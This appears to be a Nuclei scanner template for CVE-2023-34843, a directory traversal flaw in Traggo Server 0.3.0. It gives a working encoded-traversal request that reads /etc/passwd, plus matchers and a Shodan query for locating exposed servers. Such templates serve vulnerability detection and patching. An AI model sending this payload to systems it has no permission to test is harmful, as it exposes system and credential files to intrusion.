id: CVE-2023-34843

info:
  name: Traggo Server - Local File Inclusion
  author: DhiyaneshDk
  severity: high
  description: |
    traggo/server version 0.3.0 is vulnerable to directory traversal.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the server.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/rootd4ddy/CVE-2023-34843
    - https://github.com/0x783kb/Security-operation-book
    - https://github.com/Imahian/CVE-2023-34843
    - https://github.com/hheeyywweellccoommee/CVE-2023-34843-illrj
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-34843
    cwe-id: CWE-22
    epss-score: 0.00349
    epss-percentile: 0.71237
    cpe: cpe:2.3:a:traggo:traggo:0.3.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: traggo
    product: traggo
    shodan-query: html:"traggo"
  tags: cve2023,cve,traggo,lfi,server

http:
  - method: GET
    path:
      - "{{BaseURL}}/static/..%5c..%5c..%5c..%5cetc/passwd"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - text/plain

      - type: regex
        part: body
        regex:
          - "root:.*:0:0"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b64fb96d0bdf7e75e75a35ec0199aa1a3b5ad75d08cb6c6005cdab98520d23e2022100edd40b93a955f7bda18c65178cbbb5d427b07936f1be261dae3217d6a0871932:922c64590222798bb761d5b6d8e72950